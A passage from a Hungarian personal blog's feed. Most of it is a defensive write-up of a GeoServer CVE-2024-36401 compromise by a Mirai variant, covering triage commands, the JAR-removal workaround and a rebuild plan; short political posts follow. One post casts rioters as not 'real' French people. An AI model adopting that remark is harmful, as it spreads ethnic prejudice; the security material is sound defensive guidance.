</code></pre></div></div>

<p>Itt egy fontos buktató. A process-listán szerepelt egy <code class="language-plaintext highlighter-rouge">[kdevtmpfs]</code> nevű elem — ez <strong>valódi kernel-folyamat</strong> (a szögletes zárójel a jele), nem szabad összekeverni a <code class="language-plaintext highlighter-rouge">kdevtmpfsi</code> nevű, ehhez szándékosan hasonlító bányász-malware-rel. A támadók pont arra építenek, hogy a védekező összezavarodjon a nevek hasonlóságától.</p>

<p>Az aktív kapcsolatok vizsgálatakor előkerült egy gyanús folyamat, ami egy ártalmatlan rendszerdémonnak álcázta magát. A <code class="language-plaintext highlighter-rouge">lsof</code> és az <code class="language-plaintext highlighter-rouge">ss</code> egy álnevet mutatott, miközben a tényleges futtatható fájl a <code class="language-plaintext highlighter-rouge">/tmp</code>-ből futott:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">ls</span> <span class="nt">-la</span> /proc/&lt;pid&gt;/exe   <span class="c"># -&gt; /tmp/&lt;binary&gt;</span>
<span class="nb">cat</span> /proc/&lt;pid&gt;/cmdline  <span class="c"># a meghamisított név</span>
</code></pre></div></div>

<p>Tanulság: <strong>mindig a <code class="language-plaintext highlighter-rouge">/proc/&lt;pid&gt;/exe</code> valódi célját nézd, ne a process nevét.</strong> Az utóbbi hazudik.</p>

<h2 id="a-belépési-pont-megtalálása">A belépési pont megtalálása</h2>

<p>A kulcskérdés mindig ez: hogyan jutottak be? A cron-jobok mind ugyanazon felhasználó nevében futottak — egy Java alkalmazásszerver szolgáltatás-felhasználója nevében. Ez azonnal egy publikus webalkalmazásra terelte a gyanút.</p>

<p>A <code class="language-plaintext highlighter-rouge">webapps</code> könyvtárban ott volt a felelős: egy <strong>több éves, elavult GeoServer-telepítés</strong>. A GeoServer egy nyílt forráskódú térinformatikai szerver, és sajnos népszerű célpont, mert gyakran publikusan elérhető, és több súlyos, autentikáció nélküli távoli kódfuttatási (RCE) sebezhetősége is ismert.</p>

<p>A konkrét bűnös a <strong>CVE-2024-36401</strong> volt — egy 9.8-as CVSS-pontszámú kritikus hiba. A lényege: a GeoServer a kérések property-neveit XPath-kifejezésként értékeli ki egy olyan komponenssel, amit eredetileg csak komplex adattípusokhoz szántak, de tévesen az egyszerű típusokra is alkalmaztak. Ez lehetővé teszi, hogy a támadó speciálisan formázott kéréssel kódot futtasson — bejelentkezés nélkül, számos gyakran nyitott OGC-végponton keresztül (WMS, WFS, WPS).</p>

<h2 id="a-foltozás-dilemmája-amikor-nem-frissíthetsz">A foltozás dilemmája: amikor nem frissíthetsz</h2>

<p>Itt jött a nehéz rész. A szerveren <strong>kritikus szolgáltatások</strong> múltak a GeoServeren, így nem lehetett csak úgy leállítani. A frissítés pedig azért volt kockázatos, mert az újabb GeoServer-verziók újabb Java-t igényelnek, ami az elavult operációs rendszeren láncreakciót indított volna el.</p>

<p>Szerencsére a GeoServer fejlesztői <strong>verziófrissítés nélküli hivatalos megkerülő megoldást</strong> is kiadtak: a sebezhető modul (<code class="language-plaintext highlighter-rouge">gt-complex-x.y.jar</code>) eltávolítását a <code class="language-plaintext highlighter-rouge">WEB-INF/lib</code> könyvtárból. Ez megszünteti a sebezhető kódot.</p>

<p>A kulcskérdés: <strong>megtörik-e ettől valami?</strong> A <code class="language-plaintext highlighter-rouge">gt-complex</code> modul a komplex (app-schema) adattípusokhoz kell. Ha a szerver csak egyszerű forrásokat szolgál ki — például shapefile-okat —, akkor ezt a funkciót biztosan nem használja, és az eltávolítás észrevétlen marad. A biztonságos eljárás:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># 1. Mentsd a JAR-t a webapps-on KÍVÜLRE (hogy a restart ne olvassa vissza)</span>
<span class="nb">cp</span> &lt;pathto&gt;/gt-complex-<span class="k">*</span>.jar /root/backup/

<span class="c"># 2. Töröld és indítsd újra</span>
<span class="nb">rm</span> &lt;pathto&gt;/gt-complex-<span class="k">*</span>.jar
systemctl restart &lt;tomcat-service&gt;

<span class="c"># 3. Ellenőrizd, hogy felállt és a rétegek válaszolnak</span>
<span class="c"># Ha bármi eltörik: másold vissza a JAR-t a backupból, és újraindít.</span>
</code></pre></div></div>

<p>A leglényegesebb biztonsági elv viszont ez volt: <strong>a sebezhetőség azért kihasználható, mert a szolgáltatás közvetlenül elérhető az internet felől.</strong> Ha a támadó nem éri el a sebezhető végpontot, a hiba gyakorlatilag kihasználhatatlanná válik — anélkül, hogy magához az alkalmazáshoz hozzányúlnál. Ezért a tűzfalszintű hozzáférés-korlátozás (csak ismert kliens-IP-k, vagy VPN mögé helyezés) gyakran hatásosabb és kockázatmentesebb, mint maga a foltozás.</p>

<h2 id="a-csavar-a-malware-visszatért-restart-után">A csavar: a malware visszatért restart után</h2>

<p>A <code class="language-plaintext highlighter-rouge">gt-complex</code> eltávolítása után az alkalmazás szépen felállt. De a szolgáltatás állapotának ellenőrzésekor a process-fában ott volt egy idegen elem — egy <code class="language-plaintext highlighter-rouge">/tmp</code>-ből futó bináris, ami a szolgáltatás cgroupjában indult újra.</p>

<p>Ez a tanulság, amit nem lehet elégszer hangsúlyozni: <strong>egy kompromittált gépen a látható tünet ritkán a teljes kép.</strong> A cron törölve volt, de egy korábban már elindított folyamat túlélte, vagy a deploy hozta vissza. A binárist kimentettem bizonyítéknak, majd leállítottam, és töröltem magát a fájlt is, hogy ne legyen mit újraindítani.</p>

<h2 id="mi-volt-ez-valójában">Mi volt ez valójában?</h2>

<p>A kimentett bináris SHA256 hash-ét feltöltöttem a VirusTotal-ra (fontos: a <em>hash</em>-t, nem feltétlenül magát a fájlt). A találat: egy <strong>Mirai-botnet variáns</strong>, becsomagolt formában.</p>

<p>Ez érdekes részlet. A Mirai eredetileg IoT-eszközöket fertőző, DDoS-támadásokra szakosodott botnet volt, amelynek forráskódja 2016-ban kiszivárgott. Azóta számtalan leszármazottja terjed, amelyek már szervereket is céloznak sebezhető webalkalmazásokon keresztül, és gyakran hibrid működésűek: DDoS és kriptobányászat egyszerre.</p>

<p>A gyakorlati jelentősége: a szerver egy <strong>botnet tagjává</strong> vált, amit távolról vezéreltek. Nemcsak áldozat volt, hanem potenciálisan eszköz is mások károsítására. A jó hír, hogy a Mirai-variánsok jellemzően nem mélyen beásó rootkitek — memóriából, <code class="language-plaintext highlighter-rouge">/tmp</code>-ből futnak, és újraindításkor egy letöltő hozza vissza őket. Pont ezért működött a tünetek kezelése: a cron törlése, a bináris eltávolítása és az RCE-út lezárása együtt elvágta az újraindulás láncát.</p>

<h2 id="az-átmeneti-védőháló-egy-egyszerű-watchdog">Az átmeneti védőháló: egy egyszerű watchdog</h2>

<p>Mivel a végleges megoldás (tiszta rendszerre költözés) hetekbe telik, készítettem egy egyszerű, rootból futó watchdog-szkriptet az átmeneti időre. Ez 5 percenként ellenőrzi a már ismert fertőzés-jeleket: gyanús nevű folyamatokat (a tényleges <code class="language-plaintext highlighter-rouge">exe</code>-célt is vizsgálva, nem csak a hamis nevet), kapcsolatokat az ismert C2-címekhez, futtatható fájlokat a temp-könyvtárak tetején, és a szolgáltatás-felhasználó cronjának újra-megjelenését. Ha talál valamit, leállítja, karanténba teszi (nem törli — bizonyítéknak), és naplóz.</p>

<p>Fontos viszont reálisan kezelni: egy ilyen watchdog <strong>a már ismert fertőzés visszatérését fékezi</strong>, nem páncél. A hálózati hozzáférés-korlátozás fontosabb nála, mert az a betörést akadályozza meg, nem csak a tünetet kezeli.</p>

<h2 id="miért-nem-elég-a-takarítás">Miért nem elég a takarítás?</h2>

<p>A vizsgálat során <strong>kétszer</strong> is kiderült, hogy a látható tünet alatt volt még valami: előbb eltűnt <code class="language-plaintext highlighter-rouge">/tmp</code>-payloadok, amelyeket a cron újratöltött volna, majd egy aktív, álcázott botnet-folyamat. Ez a minta pontosan az, amiért egy kompromittált gépet nem lehet megbízhatóan „kitakarítani”. Sosem tudhatod biztosan, hogy az utolsó komponenst is megtaláltad-e.</p>

<p>A helyes, végleges megoldás ezért: <strong>a szervert tiszta alapokról újraépíteni.</strong> A mi esetünkben ez azt jelenti, hogy egy frissen telepített, támogatott operációs rendszerre, aktuális szoftververziókkal, <em>csak az adatok</em> kerülnek át — nem futtatható fájlok, nem teljes lemezképek. Mivel a szolgáltatott rétegek shapefile-ok voltak, ez a migráció valójában egyszerű: az adatkönyvtár hordozható a verziók között.</p>

<h2 id="a-tanulságok-dióhéjban">A tanulságok dióhéjban</h2>

<ol>
  <li>
    <p><strong>Ne hagyj internet felé nyitva elavult szoftvert.</strong> A legtöbb betörés ismert, befoltozott sebezhetőségeken keresztül történik. Egy több éves verzió nyitott porton meghívás a bajra.</p>
  </li>
  <li>
    <p><strong>A hálózati hozzáférés-korlátozás gyakran többet ér a foltozásnál.</strong> Ha valami nem kell publikusan, ne legyen publikus — tűzfal vagy VPN mögé vele.</p>
  </li>
  <li>
    <p><strong>Bizonyíték először, törlés utána.</strong> A kapkodva eltüntetett malware nem mond el semmit arról, mi és hogyan történt.</p>
  </li>
  <li>
    <p><strong>A nevek hazudnak.</strong> A process-álcák, a legitim rendszerelemekhez hasonló elnevezések szándékosak. Mindig a tényleges futtatható fájl útvonalát és a hash-ét nézd.</p>
  </li>
  <li>
    <p><strong>A tünet nem a betegség.</strong> A futó folyamat leállítása nem azonos a fertőzés megszüntetésével. Keresd a belépési pontot és a perzisztencia-mechanizmusokat.</p>
  </li>
  <li>
    <p><strong>Egy kompromittált gép a megtisztítás után is gyanús marad.</strong> A végleges nyugalom egyetlen forrása a tiszta újraépítés.</p>
  </li>
</ol>

<p>Az incidens kezelése néhány óra alatt megtörtént, és a szerver azóta stabil. De a tényleges lezárás nem a malware leállítása volt — hanem a döntés, hogy az egész stacket frissen, tiszta alapokról építjük újra. A többi csak tűzoltás.</p>

<hr />

<p><em>Ha hasonló helyzetbe kerülsz: a sorrend mindig az elszigetelés, a bizonyíték-mentés, a nyomozás, majd a végleges újraépítés. És ne feledd — a foltozás sürgős, de a megelőzés (naprakész szoftver, zárt hálózat, minimális támadási felület) olcsóbb minden tűzoltásnál.</em></p>]]></content><author><name>Falu</name></author><category term="Linux" /><category term="GeoServer" /><category term="Biztonság" /><category term="Malware" /><summary type="html"><![CDATA[Minden egy ártalmatlannak tűnő logfájllal kezdődött.]]></summary></entry><entry><title type="html">Rombolva vígad a francia</title><link href="https://falu.github.io/2026/05/31/rombolva-vigad-a-francia.html" rel="alternate" type="text/html" title="Rombolva vígad a francia" /><published>2026-05-31T13:32:09+00:00</published><updated>2026-05-31T13:32:09+00:00</updated><id>https://falu.github.io/2026/05/31/rombolva-vigad-a-francia</id><content type="html" xml:base="https://falu.github.io/2026/05/31/rombolva-vigad-a-francia.html"><![CDATA[<p>A magyar sírva vígad, a francia tombol, rombol</p>

<!--more-->

<blockquote class="twitter-tweet" data-media-max-width="100%" data-lang="hu"><p lang="fr" dir="ltr">La situation dégénère près du Parc des Princes après la victoire du PSG.<br /><br />Plusieurs départs de feux. Charge de la police pour faire intervenir les pompiers.<a href="https://x.com/hashtag/PSG?src=hash&amp;ref_src=twsrc%5Etfw">#PSG</a> <a href="https://x.com/hashtag/PSGARS?src=hash&amp;ref_src=twsrc%5Etfw">#PSGARS</a> <a href="https://x.com/hashtag/Arsenal?src=hash&amp;ref_src=twsrc%5Etfw">#Arsenal</a> <a href="https://x.com/hashtag/UCLfinal?src=hash&amp;ref_src=twsrc%5Etfw">#UCLfinal</a> <a href="https://x.com/hashtag/Paris?src=hash&amp;ref_src=twsrc%5Etfw">#Paris</a> <a href="https://t.co/30fCdZcfTV">pic.twitter.com/30fCdZcfTV</a></p>&mdash; Luc Auffret (@LucAuffret) <a href="https://x.com/LucAuffret/status/2060815701581918219?ref_src=twsrc%5Etfw">2026. május 30.</a></blockquote>
<script async="" src="https://platform.x.com/widgets.js" charset="utf-8"></script>

<p>Ja, hogy az a francia nem is igazi francia, hanem valami új-francia.</p>

<p>De egyébként tényleg nem értem az ok okozati összefüggés. Az ő csapatuk nyert (büntetőkkel) a BL döntőn, miért kell ezért szétverni a fél várost? Mi lett volna, ha az Arsenal nyer?</p>

<p>A franc se érti már ezt a világot :/</p>]]></content><author><name>Falu</name></author><category term="Franciaország" /><category term="Politika" /><category term="Foci" /><category term="BL" /><category term="Rombolás" /><category term="Migráció" /><summary type="html"><![CDATA[A magyar sírva vígad, a francia tombol, rombol]]></summary></entry><entry><title type="html">Jogállamiság témája</title><link href="https://falu.github.io/2026/05/31/jogallamisag-temaja.html" rel="alternate" type="text/html" title="Jogállamiság témája" /><published>2026-05-31T12:50:45+00:00</published><updated>2026-05-31T12:50:45+00:00</updated><id>https://falu.github.io/2026/05/31/jogallamisag-temaja</id><content type="html" xml:base="https://falu.github.io/2026/05/31/jogallamisag-temaja.html"><![CDATA[<p>Kell még valamit mondanom?</p>

<!--more-->

<iframe src="https://www.facebook.com/plugins/video.php?height=476&amp;href=https%3A%2F%2Fwww.facebook.com%2Freel%2F1285255920360346%2F&amp;show_text=false&amp;width=266&amp;t=0" width="266" height="476" style="border:none;overflow:hidden" scrolling="no" frameborder="0" allowfullscreen="true" allow="autoplay; clipboard-write; encrypted-media; picture-in-picture; web-share"></iframe>

<p>Ugye, nem?</p>]]></content><author><name>Falu</name></author><category term="Jogállam" /><category term="Kanada" /><category term="EU" /><category term="Politika" /><category term="Gyerek" /><summary type="html"><![CDATA[Kell még valamit mondanom?]]></summary></entry><entry><title type="html">GitHub Pages + Jekyll</title><link href="https://falu.github.io/2026/05/31/github-pages-jekyll.html" rel="alternate" type="text/html" title="GitHub Pages + Jekyll" /><published>2026-05-31T11:23:27+00:00</published><updated>2026-05-31T11:23:27+00:00</updated><id>https://falu.github.io/2026/05/31/github-pages-jekyll</id><content type="html" xml:base="https://falu.github.io/2026/05/31/github-pages-jekyll.html"><![CDATA[<p>A régi oldal egy eléggé elavult Drupal rendszeren futott. Nehéz volt a karbantartása. Kellett valami frissebb jobb, könnyebben karbantartható.</p>

<!--more-->

<p><img width="100%" alt="GitHub Pages + Jekyll" src="https://github.com/user-attachments/assets/ef80f634-0b38-474d-b40f-8593aae6e1c4" /></p>

<p>Szerettem a Drupalt és valamennyire értettem is hozzá. A újabb verzióra migráláshoz nem volt kedvem, mert a tárhelyen csak egyféle PHP verziót lehet használni, az újabb Drupalnak meg újabb kell. Ha átállítom friss PHP-re az összes régi oldal ami a tárhelyről megy elpusztul. És azok jellemzően olyanok, ahol nem igazán engedhető meg efféle kiesés. Meg hát időm se lett volna rá.</p>

<p>Mivel elég sokat dolgozom GitHubon meg Markdown fájlokkal, kézenfekvőnek tűnt, hogy a GitHub Pages + Jekyll kombinációval hozzak létre egy új oldalt. Marhára egyszerű a dolog. Minden poszt egy Markdown fájl, aminek az elején egy speciális fejléc a front matter ül. Ennek a posztnak ez a fejléce.</p>

<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nn">---</span>
<span class="na">title</span><span class="pi">:</span> <span class="s2">"</span><span class="s">GitHub</span><span class="nv"> </span><span class="s">Pages</span><span class="nv"> </span><span class="s">+</span><span class="nv"> </span><span class="s">Jekyll"</span>
<span class="na">date</span><span class="pi">:</span> <span class="s">2026-05-31 13:23:27 +0200</span>
<span class="na">tags</span><span class="pi">:</span> <span class="pi">[</span><span class="nv">GitHub</span><span class="pi">,</span> <span class="nv">Jekyll</span><span class="pi">]</span>
<span class="na">header</span><span class="pi">:</span>
  <span class="na">teaser</span><span class="pi">:</span> <span class="s">https://github.com/user-attachments/assets/ef80f634-0b38-474d-b40f-8593aae6e1c4</span>
<span class="na">comments</span><span class="pi">:</span> <span class="no">true</span>
<span class="na">published</span><span class="pi">:</span> <span class="no">true</span>
<span class="nn">---</span>
</code></pre></div></div>

<p>Ez a fájl tartalmazza a poszt címét, dátumát, címkéit, bevezetőjét, stb. De, hogy még ezen se kelljen gondolkodni az <strong>Actions</strong>-ben létrehoztam egy <strong>Workflow</strong>-t, ami a megadott paraméterek alapján létrehoz egy üres poszt vázat, amit csak át kell írni, commit, push, és pár másodperc alatt lefut a deployment és már meg is jelent a poszt.</p>

<p>Nem nagy varázslat, aki akarja klónozza le a <a href="https://github.com/falu/falu.github.io">falu/falu.github.io</a> repót, benne van minden.</p>]]></content><author><name>Falu</name></author><category term="GitHub" /><category term="Jekyll" /><summary type="html"><![CDATA[A régi oldal egy eléggé elavult Drupal rendszeren futott. Nehéz volt a karbantartása. Kellett valami frissebb jobb, könnyebben karbantartható.]]></summary></entry><entry><title type="html">Abszolút filmszínház</title><link href="https://falu.github.io/2026/05/31/abszolut-fimszinhaz.html" rel="alternate" type="text/html" title="Abszolút filmszínház" /><published>2026-05-31T00:00:00+00:00</published><updated>2026-05-31T00:00:00+00:00</updated><id>https://falu.github.io/2026/05/31/abszolut-fimszinhaz</id><content type="html" xml:base="https://falu.github.io/2026/05/31/abszolut-fimszinhaz.html"><![CDATA[<p>Váratlan fordulattal zárult a parlamenti választás.</p>

<!--more-->

<p><img width="100%" alt="abszolut filmszínház" src="https://github.com/user-attachments/assets/c1abc34c-2562-4962-a37b-ccb5b6941bc3" /></p>

<p>Azt is mondhatnám, hogy mindenre számítottam, de erre nem.</p>

<p>Van egy olyan érzésem, hogy Orbán durván berakott mindenkit a hintába és “abszolut filmszínház” az egész műsor. Az emberek nem akarták már Orbánt, hát kaptak helyette narcisztikus idiótát. Ez majd valószínűleg jobb lesz. Az egészben az az elképesztő, hogy mindegy, hogy ki, mindegy, hogy milyen áron csak ne az Orbán legyen. 16 év gyűlöletkeltése ide vezetett.</p>

<p>Oké, elismerem, voltak bajok a Fidesz-KDNP-vel és a NER-rel. És ezt ők is tudták jól. Tudniuk kellett. Tudták azt is, hogy ez így nem mehet tovább valahogy le kell választaniuk magukról a NER-t. Erre viszont a legfájdalommentesebb megoldás az, ha ezt (látszólag) nem ők hajtják végre. Orbán hátra dől, és élvezi a műsort, ahogy Bütyök elvégzi a piszkos munkát.</p>

<p>Igen, lesz ára, következménye, de ez még a kisebbik rossz. A Fidesz közben szépen csendben megújul és ha kell félreállítja a MP-t. Láttunk már ilyet: MP -&gt; GyF -&gt; BG.</p>

<p>Idő kell mindenhez és türelem. Ezt a filmszínházasdit nem lehet a végtelenségig játszani, nem lehet büntetlenül úgy csinálni, mintha kormányoznának.</p>

<p>Na mindegy is. Egy pozitív dolog legalább van a dologban: sikerült eltakarítani a baloldalt a parlamentből. 36 évbe telt, de a magyarok végül beismerték, hogy semmi szükség rájuk. Micsoda? Hogy a tiszások baloldaliak lennének? Igaz van köztük pár baloldalhoz köthető arc, de ezek olyanok, hogy oda dörgölőznek, ahonnan hasznot remélnek. Azt sem lehet mondani rájuk, hogy jobboldali, konzervatív alakulat lenne. Leginkább valami centrista, liberális mosléknak tűnik ez az egész.</p>]]></content><author><name>Falu</name></author><category term="Politika" /><summary type="html"><![CDATA[Váratlan fordulattal zárult a parlamenti választás.]]></summary></entry></feed>